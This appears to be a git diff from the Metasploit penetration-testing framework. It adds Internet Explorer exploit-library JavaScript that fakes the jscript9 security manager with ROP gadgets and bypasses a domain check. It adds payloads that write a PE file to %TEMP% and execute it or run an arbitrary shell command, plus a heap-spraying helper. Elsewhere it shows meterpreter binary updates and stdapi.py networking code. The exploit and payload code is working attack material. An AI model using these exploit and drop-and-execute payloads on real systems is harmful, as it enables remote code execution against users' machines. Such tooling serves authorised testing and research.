+		this.write32( fake_securitymanager, fake_securitymanager_vtable );
+		this.write32(script_engine_addr + 0x21c, fake_securitymanager);
+
+		var jscript9_base = this.getModuleBase( this.read32(script_engine_addr) & 0xffff0000 );
+		var jscript9_code_start = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x104);
+		var jscript9_code_end = jscript9_base + this.read32(jscript9_base + this.read32(jscript9_base + 0x3c) + 0x108);
+
+
+		this.write32( fake_securitymanager_vtable + 0x14,
+					 this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x08], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 8; */
+
+		this.write32( fake_securitymanager_vtable + 0x10,
+					 this.searchBytes( [0x8b, 0xe5, 0x5d, 0xc2, 0x04], jscript9_code_start, jscript9_code_end ) ); /* mov esp, ebp; pop ebp; ret 4; */
+
+		this.payload.execute(this);
+
+
+		/*
+		* restore
+		*/
+
+		this.write32( script_engine_addr + 0x21c, original_securitymanager );
+
+		return true;
+
+	}
+
+	ExpLib.prototype.leakAddress = function(obj) {
+		this.arr_arr[this.arr2_idx + 1][2] = obj;
+		return this.read32(this.arr2_member_base + 0x1008);
+	}
+
+	ExpLib.prototype.switchStreamOrigin = function(stream) {
+		var obj = this.leakAddress(stream);
+		var stream_obj = this.read32(obj + 0x30);
+		//var url_addr = this.read32(stream_obj + 0x3c);
+		var url_addr = this.read32(stream_obj + this.stream_origin);
+
+		/*
+		* bypass domain check
+		*/
+		this.writeStringW( url_addr, 'file:///C:/1.htm' );
+	}
+
+	return ExpLib;
+
+})();
diff --git a/data/js/memory/explib2/payload/drop_exec.js b/data/js/memory/explib2/payload/drop_exec.js
new file mode 100644
index 0000000000..1bba3effce
--- /dev/null
+++ b/data/js/memory/explib2/payload/drop_exec.js
@@ -0,0 +1,33 @@
+function payload_drop_exec(pe) {
+
+	this.execute = function(explib) {
+
+		var WshShell = new ActiveXObject("WScript.shell");
+		var temp = WshShell.ExpandEnvironmentStrings("%TEMP%");
+		var filename = temp + "\\a.exe";
+
+		var bStream = new ActiveXObject("ADODB.Stream");
+		var txtStream = new ActiveXObject("ADODB.Stream");
+		bStream.Type = 1;
+		txtStream.Type = 2;
+
+		bStream.Open();
+		txtStream.Open();
+
+		explib.switchStreamOrigin(txtStream);
+
+		txtStream.WriteText(pe);
+		txtStream.Position = 2;
+		txtStream.CopyTo( bStream );
+		txtStream.Close();
+
+		explib.switchStreamOrigin(bStream);
+
+		bStream.SaveToFile(filename, 2);
+		bStream.Close();
+
+		oExec = WshShell.Exec(filename);
+	}
+
+	return this;
+}
diff --git a/data/js/memory/explib2/payload/exec.js b/data/js/memory/explib2/payload/exec.js
new file mode 100644
index 0000000000..704db247e6
--- /dev/null
+++ b/data/js/memory/explib2/payload/exec.js
@@ -0,0 +1,10 @@
+function payload_exec(cmd) {
+
+	this.execute = function(explib) {
+
+		var WshShell = new ActiveXObject("WScript.shell");
+		var oExec = WshShell.Exec(cmd);
+	}
+
+	return this;
+}
diff --git a/data/js/memory/heaplib2.js b/data/js/memory/heaplib2.js
new file mode 100644
index 0000000000..1e2fecf1a0
--- /dev/null
+++ b/data/js/memory/heaplib2.js
@@ -0,0 +1,192 @@
+//heapLib2 namespace
+function heapLib2() { } 
+
+//These are attributes that will not actually create a bstr 
+//and directly use the back-end allocator, completely bypassing the cache
+var global_attrs = ["title", "lang", "class"];
+
+heapLib2.ie = function(element, maxAlloc)
+{
+    //128mb
+    this.maxAlloc = 0x8000000;
+
+    //make sure that an HTML DOM element is passed
+    if(!element.nodeType || element.nodeType != 1)
+        throw "alloc.argument: element not valid"; 
+
+    this.element = element; 
+
+    if(maxAlloc)
+        this.maxAlloc = maxAlloc; 
+
+    //empty the cache
+    this.Oleaut32EmptyCache();
+    this.Oleaut32FillCache();
+    this.Oleaut32EmptyCache();
+
+}
+
+heapLib2.ie.prototype.newelement = function(element)
+{
+    //make sure that an HTML DOM element is passed
+    if(!element.nodeType || element.nodeType != 1)
+        throw "alloc.argument: element not valid"; 
+
+    this.element = element; 
+}
+
+heapLib2.ie.prototype.alloc = function(attr_name, size, cache_ok) 
+{
+    if(typeof(cache_ok)==='undefined')
+        cache_ok = false;
+    else
+        cache_ok = true;
+
+    //make sure the attribute name is a string
+    if(typeof attr_name != "string")
+        throw "alloc.argument: attr_name is not a string"; 
+
+    //make sure that the attribute name is not already present in the html element
+    if(this.element.getAttribute(attr_name))
+        throw "alloc.argument: element already contains attr_name: " + attr_name;
+
+    //ensure the size is a number
+    if(typeof size != "number")
+        throw "alloc.argument: size is not a number: " + size; 
+
+    //make sure the size isn't one of the special values
+    if(!cache_ok && (size == 0x20 || size == 0x40 || size == 0x100 || size == 0x8000)) 
+        throw "alloc.argument: size cannot be flushed from cache: " + size; 
+
+    if(size > this.maxAlloc)
+        throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; 
+
+    //the size must be at a 16-byte boundary this can be commented out but 
+    //the allocations will be rounded to the nearest 16-byte boundary 
+    if(size % 16 != 0)
+        throw "alloc.argument: size be a multiple of 16: " + size;
+
+    //20-bytes will be added to the size
+    //<4-byte size><data><2-byte null>
+    size = ((size / 2) - 6);
+
+    //May have to change this due to allocation side effects
+    var data = new Array(size).join(cache_ok ? "C" : "$"); 
+
+    var attr = document.createAttribute(attr_name);
+    this.element.setAttributeNode(attr);
+    this.element.setAttribute(attr_name, data);
+
+}
+
+//These items will allocate/free memory and should really 
+//only be used once per element. You can use a new element 
+//by calling the 'newelement' method above
+heapLib2.ie.prototype.alloc_nobstr = function(val)
+{
+    //make sure the aval is a string
+    if(typeof val != "string")
+        throw "alloc.argument: val is not a string"; 
+
+    var size = (val.length * 2) + 6; 
+
+    if(size > this.maxAlloc)
+        throw "alloc_nobstr.val: string length cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; 
+
+    var i = 0;
+    var set_gattr = 0; 
+    for(i = 0; i < global_attrs.length; i++)
+    {
+        curr_gattr = global_attrs[i];
+        if(!this.element.getAttribute(curr_gattr))
+        {
+            this.element.setAttribute(curr_gattr, "");
+            this.element.setAttribute(curr_gattr, val);
+            set_gattr = 1;  
+            break; 
+        }
+    }
+
+    if(set_gattr == 0)
+        throw "alloc_nobstr: all global attributes are assigned, try a new element"; 
+}
+
+//completely bypass the cache, useful for heap spraying (see heapLib2_test.html)
+heapLib2.ie.prototype.sprayalloc = function(attr_name, str) 
+{
+    //make sure the attribute name is a string
+    if(typeof attr_name != "string")
+        throw "alloc.argument: attr_name is not a string"; 
+
+    //make sure that the attribute name is not already present in the html element
+    if(this.element.getAttribute(attr_name))
+        throw "alloc.argument: element already contains attr_name: " + attr_name;
+
+    //ensure the size is a number
+    if(typeof str != "string")
+        throw "alloc.argument: str is not a string: " + typeof str; 
+
+    var size = (str.length * 2) + 6; 
+
+    //make sure the size isn't one of the special values
+    if(size <= 0x8000) 
+        throw "alloc.argument: bigalloc must be greater than 0x8000: " + size; 
+
+    if(size > this.maxAlloc)
+        throw "alloc.argument: size cannot be greater than maxAlloc(" + this.maxAlloc + ") : " + size; 
+
+    var attr = document.createAttribute(attr_name);
+    this.element.setAttributeNode(attr);
+    this.element.setAttribute(attr_name, str);
+}
+
+heapLib2.ie.prototype.free = function(attr_name, skip_flush) 
+{
+    if(typeof(skip_flush)==='undefined')
+        skip_flush = false;
+    else
+        skip_flush = true;
+
+    //make sure that an HTML DOM element is passed
+    if(!this.element.nodeType || this.element.nodeType != 1)
+        throw "alloc.argument: element not valid"; 
+
+    //make sure the attribute name is a string
+    if(typeof attr_name != "string")
+        throw "alloc.argument: attr_name is not a string"; 
+
+    //make sure that the attribute name is not already present in the html element
+    if(!this.element.getAttribute(attr_name))
+        throw "alloc.argument: element does not contain attribute: " + attr_name;
+
+    //make sure the cache is full so the chunk returns the general purpose heap
+    if(!skip_flush)
+        this.Oleaut32FillCache(); 
+
+    this.element.setAttribute(attr_name, null);
+
+    if(!skip_flush)
+        this.Oleaut32EmptyCache()
+}
+
+heapLib2.ie.prototype.Oleaut32FillCache = function()
+{
+    for(var i = 0; i < 6; i++)
+    {
+        this.free("cache0x20"+i, true); 
+        this.free("cache0x40"+i, true);
+        this.free("cache0x100"+i, true);
+        this.free("cache0x8000"+i, true);
+    }
+}
+
+heapLib2.ie.prototype.Oleaut32EmptyCache = function() 
+{
+    for(var i = 0; i < 6; i++)
+    {
+        this.alloc("cache0x20"+i, 0x20, true); 
+        this.alloc("cache0x40"+i, 0x40, true);
+        this.alloc("cache0x100"+i, 0x100, true);
+        this.alloc("cache0x8000"+i, 0x8000, true);
+    }
+}
\ No newline at end of file
diff --git a/data/js/network/ajax_post.js b/data/js/network/ajax_post.js
index 4e6729acfa..91f6b47a1a 100644
--- a/data/js/network/ajax_post.js
+++ b/data/js/network/ajax_post.js
@@ -1,10 +1,18 @@
-function postInfo(path, data) {
+function postInfo(path, data, cb) {
   var xmlHttp = new XMLHttpRequest();
 
   if (xmlHttp.overrideMimeType) {
     xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
   }
 
-  xmlHttp.open('POST', path, false);
+  xmlHttp.open('POST', path, !!cb);
+
+  if (cb) {
+    xmlHttp.onreadystatechange = function() {
+      if (xmlHttp.readyState == 4) { cb.apply(this, arguments); }
+    };
+  }
+
   xmlHttp.send(data);
-}
\ No newline at end of file
+  return xmlHttp;
+}
diff --git a/data/meterpreter/common.lib b/data/meterpreter/common.lib
index 75b5eb755b..dc6eda3974 100755
Binary files a/data/meterpreter/common.lib and b/data/meterpreter/common.lib differ
diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll
index 6122e0d4ec..5704ed065d 100755
Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ
diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll
index 4b377f7577..5162e25b34 100755
Binary files a/data/meterpreter/elevator.x86.dll and b/data/meterpreter/elevator.x86.dll differ
diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll
index 36bd78ef87..c3297a20ac 100755
Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ
diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll
index 8608ac3cb5..9f4938354a 100755
Binary files a/data/meterpreter/ext_server_espia.x86.dll and b/data/meterpreter/ext_server_espia.x86.dll differ
diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll
index aec85861ae..485311ec94 100755
Binary files a/data/meterpreter/ext_server_extapi.x64.dll and b/data/meterpreter/ext_server_extapi.x64.dll differ
diff --git a/data/meterpreter/ext_server_extapi.x86.dll b/data/meterpreter/ext_server_extapi.x86.dll
index 0923879915..985a510475 100755
Binary files a/data/meterpreter/ext_server_extapi.x86.dll and b/data/meterpreter/ext_server_extapi.x86.dll differ
diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll
index 777f6c3682..faed750330 100755
Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ
diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll
index 7369f7621a..98198341b3 100755
Binary files a/data/meterpreter/ext_server_incognito.x86.dll and b/data/meterpreter/ext_server_incognito.x86.dll differ
diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll
index 4042a413f1..294ef2261a 100755
Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and b/data/meterpreter/ext_server_lanattacks.x64.dll differ
diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll
index 372df0a5fa..ef92743241 100755
Binary files a/data/meterpreter/ext_server_lanattacks.x86.dll and b/data/meterpreter/ext_server_lanattacks.x86.dll differ
diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll
index 09ec5e887b..2d10147d47 100755
Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and b/data/meterpreter/ext_server_mimikatz.x64.dll differ
diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll
index d0c6b54447..88df3a70e3 100755
Binary files a/data/meterpreter/ext_server_mimikatz.x86.dll and b/data/meterpreter/ext_server_mimikatz.x86.dll differ
diff --git a/data/meterpreter/ext_server_networkpug.lso b/data/meterpreter/ext_server_networkpug.lso
index e6629bb4a8..fef0426930 100755
Binary files a/data/meterpreter/ext_server_networkpug.lso and b/data/meterpreter/ext_server_networkpug.lso differ
diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll
index cbdbd29fab..f13693d08b 100755
Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ
diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll
index 7471006016..0e61427ac4 100755
Binary files a/data/meterpreter/ext_server_priv.x86.dll and b/data/meterpreter/ext_server_priv.x86.dll differ
diff --git a/data/meterpreter/ext_server_sniffer.lso b/data/meterpreter/ext_server_sniffer.lso
index 4130ece196..a172634dd1 100755
Binary files a/data/meterpreter/ext_server_sniffer.lso and b/data/meterpreter/ext_server_sniffer.lso differ
diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll
index 5008d8d9d6..75b7a50a32 100755
Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ
diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll
index d64f9085a7..1b88ab0fcc 100755
Binary files a/data/meterpreter/ext_server_sniffer.x86.dll and b/data/meterpreter/ext_server_sniffer.x86.dll differ
diff --git a/data/meterpreter/ext_server_stdapi.lso b/data/meterpreter/ext_server_stdapi.lso
index 4ff3fbdcc1..e9e73d42db 100755
Binary files a/data/meterpreter/ext_server_stdapi.lso and b/data/meterpreter/ext_server_stdapi.lso differ
diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py
index b6bdccd483..ae9cab6cb8 100644
--- a/data/meterpreter/ext_server_stdapi.py
+++ b/data/meterpreter/ext_server_stdapi.py
@@ -1,4 +1,3 @@
-import ctypes
 import fnmatch
 import getpass
 import os
@@ -9,8 +8,15 @@ import socket
 import struct
 import subprocess
 import sys
+import time
 
-has_windll = hasattr(ctypes, 'windll')
+try:
+	import ctypes
+	has_ctypes = True
+	has_windll = hasattr(ctypes, 'windll')
+except ImportError:
+	has_ctypes = False
+	has_windll = False
 
 try:
 	import pty
@@ -24,6 +30,12 @@ try:
 except ImportError:
 	has_pwd = False
 
+try:
+	import SystemConfiguration as osxsc
+	has_osxsc = True
+except ImportError:
+	has_osxsc = False
+
 try:
 	import termios
 	has_termios = True
@@ -36,52 +48,197 @@ try:
 except ImportError:
 	has_winreg = False
 
-class PROCESSENTRY32(ctypes.Structure):
-	_fields_ = [("dwSize", ctypes.c_uint32),
-		("cntUsage", ctypes.c_uint32),
-		("th32ProcessID", ctypes.c_uint32),
-		("th32DefaultHeapID", ctypes.c_void_p),
-		("th32ModuleID", ctypes.c_uint32),
-		("cntThreads", ctypes.c_uint32),
-		("th32ParentProcessID", ctypes.c_uint32),
-		("thPriClassBase", ctypes.c_int32),
-		("dwFlags", ctypes.c_uint32),
-		("szExeFile", (ctypes.c_char * 260))]
+if has_ctypes:
+	#
+	# Windows Structures
+	#
+	class SOCKADDR(ctypes.Structure):
+		_fields_ = [("sa_family", ctypes.c_ushort),
+			("sa_data", (ctypes.c_uint8 * 14))]
 
-class SYSTEM_INFO(ctypes.Structure):
-	_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
-		("wReserved", ctypes.c_uint16),
-		("dwPageSize", ctypes.c_uint32),
-		("lpMinimumApplicationAddress", ctypes.c_void_p),
-		("lpMaximumApplicationAddress", ctypes.c_void_p),
-		("dwActiveProcessorMask", ctypes.c_uint32),
-		("dwNumberOfProcessors", ctypes.c_uint32),
-		("dwProcessorType", ctypes.c_uint32),
-		("dwAllocationGranularity", ctypes.c_uint32),
-		("wProcessorLevel", ctypes.c_uint16),
-		("wProcessorRevision", ctypes.c_uint16),]
+	class SOCKET_ADDRESS(ctypes.Structure):
+		_fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)),
+			("iSockaddrLength", ctypes.c_int)]
 
-class SID_AND_ATTRIBUTES(ctypes.Structure):
-	_fields_ = [("Sid", ctypes.c_void_p),
-		("Attributes", ctypes.c_uint32),]
+	class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure):
+		_fields_ = [
+			("s", type(
+					'_s_IP_ADAPTER_UNICAST_ADDRESS',
+					(ctypes.Structure,),
+					dict(_fields_ = [
+						("Length", ctypes.c_ulong),
+						("Flags", ctypes.c_uint32)
+					])
+			)),
+			("Next", ctypes.c_void_p),
+			("Address", SOCKET_ADDRESS),
+			("PrefixOrigin", ctypes.c_uint32),
+			("SuffixOrigin", ctypes.c_uint32),
+			("DadState", ctypes.c_uint32),
+			("ValidLifetime", ctypes.c_ulong),
+			("PreferredLifetime", ctypes.c_ulong),
+			("LeaseLifetime", ctypes.c_ulong),
+			("OnLinkPrefixLength", ctypes.c_uint8)]
 
-##
-# STDAPI
-##
+	class IP_ADAPTER_ADDRESSES(ctypes.Structure):
+		_fields_ = [
+			("u", type(
+				'_u_IP_ADAPTER_ADDRESSES',
+				(ctypes.Union,),
+				dict(_fields_ = [
+					("Alignment", ctypes.c_ulonglong),
+					("s", type(
+						'_s_IP_ADAPTER_ADDRESSES',
+						(ctypes.Structure,),
+						dict(_fields_ = [
+							("Length", ctypes.c_ulong),
+							("IfIndex", ctypes.c_uint32)
+						])
+					))
+				])
+			)),
+			("Next", ctypes.c_void_p),
+			("AdapterName", ctypes.c_char_p),
+			("FirstUnicastAddress", ctypes.c_void_p),
+			("FirstAnycastAddress", ctypes.c_void_p),
+			("FirstMulticastAddress", ctypes.c_void_p),
+			("FirstDnsServerAddress", ctypes.c_void_p),
+			("DnsSuffix", ctypes.c_wchar_p),
+			("Description", ctypes.c_wchar_p),
+			("FriendlyName", ctypes.c_wchar_p),
+			("PhysicalAddress", (ctypes.c_uint8 * 8)),
+			("PhysicalAddressLength", ctypes.c_uint32),
+			("Flags", ctypes.c_uint32),
+			("Mtu", ctypes.c_uint32),
+			("IfType", ctypes.c_uint32),
+			("OperStatus", ctypes.c_uint32),
+			("Ipv6IfIndex", ctypes.c_uint32),
+			("ZoneIndices", (ctypes.c_uint32 * 16)),
+			("FirstPrefix", ctypes.c_void_p),
+			("TransmitLinkSpeed", ctypes.c_uint64),
+			("ReceiveLinkSpeed", ctypes.c_uint64),
+			("FirstWinsServerAddress", ctypes.c_void_p),
+			("FirstGatewayAddress", ctypes.c_void_p),
+			("Ipv4Metric", ctypes.c_ulong),
+			("Ipv6Metric", ctypes.c_ulong),
+			("Luid", ctypes.c_uint64),
+			("Dhcpv4Server", SOCKET_ADDRESS),
+			("CompartmentId", ctypes.c_uint32),
+			("NetworkGuid", (ctypes.c_uint8 * 16)),
+			("ConnectionType", ctypes.c_uint32),
+			("TunnelType", ctypes.c_uint32),
+			("Dhcpv6Server", SOCKET_ADDRESS),
+			("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)),
+			("Dhcpv6ClientDuidLength", ctypes.c_ulong),
+			("Dhcpv6Iaid", ctypes.c_ulong),
+			("FirstDnsSuffix", ctypes.c_void_p)]
+
+	class MIB_IFROW(ctypes.Structure):
+		_fields_ = [("wszName", (ctypes.c_wchar * 256)),
+			("dwIndex", ctypes.c_uint32),
+			("dwType", ctypes.c_uint32),
+			("dwMtu", ctypes.c_uint32),
+			("dwSpeed", ctypes.c_uint32),
+			("dwPhysAddrLen", ctypes.c_uint32),
+			("bPhysAddr", (ctypes.c_uint8 * 8)),
+			("dwAdminStatus", ctypes.c_uint32),
+			("dwOperStaus", ctypes.c_uint32),
+			("dwLastChange", ctypes.c_uint32),
+			("dwInOctets", ctypes.c_uint32),
+			("dwInUcastPkts", ctypes.c_uint32),
+			("dwInNUcastPkts", ctypes.c_uint32),
+			("dwInDiscards", ctypes.c_uint32),
+			("dwInErrors", ctypes.c_uint32),
+			("dwInUnknownProtos", ctypes.c_uint32),
+			("dwOutOctets", ctypes.c_uint32),
+			("dwOutUcastPkts", ctypes.c_uint32),
+			("dwOutNUcastPkts", ctypes.c_uint32),
+			("dwOutDiscards", ctypes.c_uint32),
+			("dwOutErrors", ctypes.c_uint32),
+			("dwOutQLen", ctypes.c_uint32),
+			("dwDescrLen", ctypes.c_uint32),
+			("bDescr", (ctypes.c_char * 256))]
+
+	class MIB_IPADDRROW(ctypes.Structure):
+		_fields_ = [("dwAddr", ctypes.c_uint32),
+			("dwIndex", ctypes.c_uint32),
+			("dwMask", ctypes.c_uint32),
+			("dwBCastAddr", ctypes.c_uint32),
+			("dwReasmSize", ctypes.c_uint32),
+			("unused1", ctypes.c_uint16),
+			("wType", ctypes.c_uint16)]
+
+	class PROCESSENTRY32(ctypes.Structure):
+		_fields_ = [("dwSize", ctypes.c_uint32),
+			("cntUsage", ctypes.c_uint32),
+			("th32ProcessID", ctypes.c_uint32),
+			("th32DefaultHeapID", ctypes.c_void_p),
+			("th32ModuleID", ctypes.c_uint32),
+			("cntThreads", ctypes.c_uint32),
+			("th32ParentProcessID", ctypes.c_uint32),
+			("thPriClassBase", ctypes.c_int32),
+			("dwFlags", ctypes.c_uint32),
+			("szExeFile", (ctypes.c_char * 260))]
+
+	class SID_AND_ATTRIBUTES(ctypes.Structure):
+		_fields_ = [("Sid", ctypes.c_void_p),
+			("Attributes", ctypes.c_uint32)]
+
+	class SYSTEM_INFO(ctypes.Structure):
+		_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
+			("wReserved", ctypes.c_uint16),
+			("dwPageSize", ctypes.c_uint32),
+			("lpMinimumApplicationAddress", ctypes.c_void_p),
+			("lpMaximumApplicationAddress", ctypes.c_void_p),
+			("dwActiveProcessorMask", ctypes.c_uint32),
+			("dwNumberOfProcessors", ctypes.c_uint32),
+			("dwProcessorType", ctypes.c_uint32),
+			("dwAllocationGranularity", ctypes.c_uint32),
+			("wProcessorLevel", ctypes.c_uint16),
+			("wProcessorRevision", ctypes.c_uint16)]
+
+	#
+	# Linux Structures
+	#
+	class IFADDRMSG(ctypes.Structure):
+		_fields_ = [("family", ctypes.c_uint8),
+			("prefixlen", ctypes.c_uint8),
+			("flags", ctypes.c_uint8),
+			("scope", ctypes.c_uint8),
+			("index", ctypes.c_int32)]
+
+	class IFINFOMSG(ctypes.Structure):
+		_fields_ = [("family", ctypes.c_uint8),
+			("pad", ctypes.c_int8),
+			("type", ctypes.c_uint16),
+			("index", ctypes.c_int32),
+			("flags", ctypes.c_uint32),
+			("chagen", ctypes.c_uint32)]
+
+	class NLMSGHDR(ctypes.Structure):
+		_fields_ = [("len", ctypes.c_uint32),
+			("type", ctypes.c_uint16),
+			("flags", ctypes.c_uint16),
+			("seq", ctypes.c_uint32),
+			("pid", ctypes.c_uint32)]
+
+	class RTATTR(ctypes.Structure):
+		_fields_ = [("len", ctypes.c_uint16),
+			("type", ctypes.c_uint16)]
 
 #
 # TLV Meta Types
 #
-TLV_META_TYPE_NONE =       (   0   )
-TLV_META_TYPE_STRING =     (1 << 16)
-TLV_META_TYPE_UINT =       (1 << 17)
-TLV_META_TYPE_RAW =        (1 << 18)
-TLV_META_TYPE_BOOL =       (1 << 19)
+TLV_META_TYPE_NONE       = (   0   )
+TLV_META_TYPE_STRING     = (1 << 16)
+TLV_META_TYPE_UINT       = (1 << 17)
+TLV_META_TYPE_RAW        = (1 << 18)
+TLV_META_TYPE_BOOL       = (1 << 19)
 TLV_META_TYPE_COMPRESSED = (1 << 29)
-TLV_META_TYPE_GROUP =      (1 << 30)
-TLV_META_TYPE_COMPLEX =    (1 << 31)
+TLV_META_TYPE_GROUP      = (1 << 30)
+TLV_META_TYPE_COMPLEX    = (1 << 31)
 # not defined in original
-TLV_META_TYPE_MASK =    (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
+TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
 
 #
 # TLV Specific Types
@@ -135,16 +292,21 @@ TLV_TYPE_SEARCH_RESULTS        = TLV_META_TYPE_GROUP   | 1233
 ##
 TLV_TYPE_HOST_NAME             = TLV_META_TYPE_STRING  | 1400
 TLV_TYPE_PORT                  = TLV_META_TYPE_UINT    | 1401
+TLV_TYPE_INTERFACE_MTU         = TLV_META_TYPE_UINT    | 1402
+TLV_TYPE_INTERFACE_FLAGS       = TLV_META_TYPE_STRING  | 1403
+TLV_TYPE_INTERFACE_INDEX       = TLV_META_TYPE_UINT    | 1404
 
 TLV_TYPE_SUBNET                = TLV_META_TYPE_RAW     | 1420
 TLV_TYPE_NETMASK               = TLV_META_TYPE_RAW     | 1421
 TLV_TYPE_GATEWAY               = TLV_META_TYPE_RAW     | 1422
 TLV_TYPE_NETWORK_ROUTE         = TLV_META_TYPE_GROUP   | 1423
+TLV_TYPE_IP_PREFIX             = TLV_META_TYPE_UINT    | 1424
 
 TLV_TYPE_IP                    = TLV_META_TYPE_RAW     | 1430
 TLV_TYPE_MAC_ADDRESS           = TLV_META_TYPE_RAW     | 1431
 TLV_TYPE_MAC_NAME              = TLV_META_TYPE_STRING  | 1432
 TLV_TYPE_NETWORK_INTERFACE     = TLV_META_TYPE_GROUP   | 1433
+TLV_TYPE_IP6_SCOPE             = TLV_META_TYPE_RAW     | 1434
 
 TLV_TYPE_SUBNET_STRING         = TLV_META_TYPE_STRING  | 1440
 TLV_TYPE_NETMASK_STRING        = TLV_META_TYPE_STRING  | 1441
@@ -290,9 +452,39 @@ ERROR_FAILURE = 1
 # errors.
 ERROR_CONNECTION_ERROR = 10000
 
+# Windows Constants
+GAA_FLAG_SKIP_ANYCAST    = 0x0002
+GAA_FLAG_SKIP_MULTICAST  = 0x0004
+GAA_FLAG_INCLUDE_PREFIX  = 0x0010
+GAA_FLAG_SKIP_DNS_SERVER = 0x0080
+
 WIN_AF_INET  = 2
 WIN_AF_INET6 = 23
 
+# Linux Constants
+RTM_GETLINK   = 18
+RTM_GETADDR   = 22
+RTM_GETROUTE  = 26
+
+IFLA_ADDRESS   = 1
+IFLA_BROADCAST = 2
+IFLA_IFNAME    = 3
+IFLA_MTU       = 4
+
+IFA_ADDRESS    = 1
+IFA_LABEL      = 3
+
+def calculate_32bit_netmask(bits):
+	if bits == 32:
+		return 0xffffffff
+	return ((0xffffffff << (32-(bits%32))) & 0xffffffff)
+
+def cstruct_unpack(structure, raw_data):
+	if not isinstance(structure, ctypes.Structure):
+		structure = structure()
+	ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
+	return structure
+
 def get_stat_buffer(path):
 	si = os.stat(path)
 	rdev = 0
@@ -310,20 +502,30 @@ def get_stat_buffer(path):
 	st_buf += struct.pack('<II', blksize, blocks)
 	return st_buf
 
-def inet_pton(family, address):
-	if hasattr(socket, 'inet_pton'):
-		return socket.inet_pton(family, address)
-	elif has_windll:
-		WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
-		lpAddress = (ctypes.c_ubyte * 28)()
-		lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
-		if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
-			raise Exception('WSAStringToAddress failed')
-		if family == socket.AF_INET:
-			return ''.join(map(chr, lpAddress[4:8]))
-		elif family == socket.AF_INET6:
-			return ''.join(map(chr, lpAddress[8:24]))
-	raise Exception('no suitable inet_pton functionality is available')
+def netlink_request(req_type):
+	# See RFC 3549
+	NLM_F_REQUEST    = 0x0001
+	NLM_F_ROOT       = 0x0100
+	NLMSG_ERROR      = 0x0002
+	NLMSG_DONE       = 0x0003
+
+	sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
+	sock.bind((os.getpid(), 0))
+	seq = int(time.time())
+	nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
+	sfd = os.fdopen(sock.fileno(), 'w+b')
+	sfd.write(nlmsg)
+	responses = []
+	response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
+	while response.type != NLMSG_DONE:
+		if response.type == NLMSG_ERROR:
+			break
+		response_data = sfd.read(response.len - 16)
+		responses.append(response_data)
+		response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
+	sfd.close()
+	sock.close()
+	return responses
 
 def resolve_host(hostname, family):
 	address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
@@ -338,8 +540,17 @@ def windll_GetNativeSystemInfo():
 	ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
 	return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
 
+def windll_GetVersion():
+	if not has_windll:
+		return None
